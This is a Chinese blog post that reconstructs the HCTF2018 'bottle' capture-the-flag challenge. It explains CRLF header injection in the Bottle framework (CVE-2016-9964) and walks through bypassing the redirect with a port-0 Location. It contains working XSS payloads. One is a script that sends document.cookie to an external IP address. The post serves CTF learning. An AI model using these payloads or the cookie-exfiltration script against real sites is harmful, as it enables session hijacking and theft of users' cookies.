nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

hctf2018 bottle赛博复现

前言

因为没有题的源文件,只能赛博复现了
但是解这个题之前,我们要了解一些知识

前置知识

bottle CVE-2016-9964

它是一个轻量级的python web框架,题目和名字描述是一样的,采用的是bottle 框架,框架存在漏洞(CVE-2016-9964),HTTP头注入的问题。
为了讲清楚这个http头注入的问题,就得了解一下http的head和body是如何划分,我引用p神的一篇文章
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。
举个例子,一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。

所以一个正常的302跳转包是这样:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
但如果我们输入的是

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn 
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。

当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。

比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是:

http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location:

<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里这个标签就会显示出来,造成一个XSS。
下面回到这个漏洞

复现漏洞简单的代码理解

import bottle
from bottle import route, run, template, request, response

@route('/')
def index():
    path = request.query.get('path', 'https://www.leavesongs.com')
    return bottle.redirect(path)

if __name__ == '__main__':
    bottle.debug(True)
    run(host='localhost', port=8081)

这里还是使用的redirect,但重申一下这个漏洞和redirect函数没有任何关系。因为redirect函数是向response中插入一个HTTP头,也就是Location: xxx,所以存在头注入。redirect函数有个性质
其中使用了一个urljoin,将当前url和我传入的path进行了一次"join",经过这个操作事情就变得很微妙了:Location头一定有一个值。这种情况下,浏览器就不会渲染页面,会直接跳转到Location头指向的地址。也就是说,如果我要利用CRLF构造XSS的话,这里是不会触发的。如果浏览器不解析我构造的东西,那么构造的东西就是无效的。
所以现在的问题就是不能让其发生跳转,需要让浏览器解析后面我xss的内容

两种阻止浏览器跳转的方式(均在火狐浏览器进行)

法1: 将跳转的url端口设为<80

sp161222_033823.png

法2:使用CSP禁止iframe的跳转

sp161222_040237.png

其中的法2利用代码如下:

<?php
header("Content-Security-Policy: frame-src http://localhost:8081/");
?>

<iframe src="http://localhost:8081/?path=http://www.baidu.com/%0a%0dX-XSS-Protection:0%0a%0d%0a%0d<script>alert(location.href)</script>"></iframe>

明白了上面的知识,再来看看这个题目

解题

Not hard, I believe you are the lucky one!
hint1: */3 */10 
hint2: bot use firefoxDriver
URL http://bottle.2018.hctf.io

后端是个 python,根据题目可知这个应用使用了 bottle 框架开发。应用功能是提交一个网址。
我们可以通过path控制localtion
虽然有csp的限制,但我们可以通过crlf漏洞把它变为body内容失去作用
绕过跳转
让Location跳转的地址的端口小于0即可,并且这里可以不用理会Content-Length的问题。因为length在我们location的下方,不然难度会大很多
这里不使用 alert 测试是因为当 URL 中存在引号或括号时会 500,于是将 script 的 src 指向自己服务器的 js 文件即可任意 XSS,最终 payload 如下
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0A%0D%0A%0D%3Cscript+src=http://srpopty.cn/1.js%3E%3C/script%3E
1.js文件内容如下

var ajax=new XMLHttpRequest();
ajax.open("GET","http://123.206.86.208/xss/"+document.cookie,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send();

拿到cookie修改获得flag

部分内容引自于https://srpopty.github.io/2018/11/12/HCTF2018-Bottle-Writeup/

吐槽

自己不会js,xss就就一坨,那种获取cookie的代码只能抄。。。。

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » hctf2018 bottle赛博复现

评论